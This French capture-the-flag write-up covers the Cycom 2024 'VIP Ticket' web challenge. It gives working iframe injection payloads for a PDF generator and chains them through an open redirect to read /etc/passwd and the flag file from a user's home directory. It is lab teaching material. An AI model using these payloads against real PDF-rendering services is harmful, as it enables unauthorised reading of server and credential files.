Cycom 2024 - VIP Ticket - Web - 300 points

Enoncé

Le flag se trouve dans la racine du dossier home de l’un des utilisateurs du serveur.

Solution

Lors de la génération du PDF, il est possible d’injecter du code HTML. Nous injectons tout d’abord une iframe avec une source pointant sur localhost :

Foo Bar<iframe src=http://localhost/ width=500 height=500></iframe>

Image 1

Cependant, si nous essayons de charger /etc/passwd, rien ne nous est retourné :

Foo Bar<iframe src=file:///etc/passwd width=500 height=500></iframe>

Image 2

Pour contourner cette restriction, nous devons revenir à la page d’accueil. En examinant le code source de la page, nous remarquons que le bouton “Continue” utilise une redirection.

Image 3

Image 4

Le paramètre GET Dest est vulnérable aux redirections ouvertes :

Image 3

Image 4

En combinant la redirection ouverte avec l’injection HTML dans la génération de PDF, nous pouvons récupérer le contenu de /etc/passwd et ainsi obtenir le nom de l’utilisateur OxBF :

Foo Bar<iframe src=http://localhost/redirect.php?dest=file:///etc/passwd width=500 height=500></iframe>

Image 5

De la même manière, nous pouvons récupérer le flag :

Foo Bar<iframe src=http://localhost/redirect.php?dest=file:///home/OxBF/flag.txt width=500 height=500></iframe>

Image 6

Flag: CYCOM{0xBF*******}

Auteur

Tindlid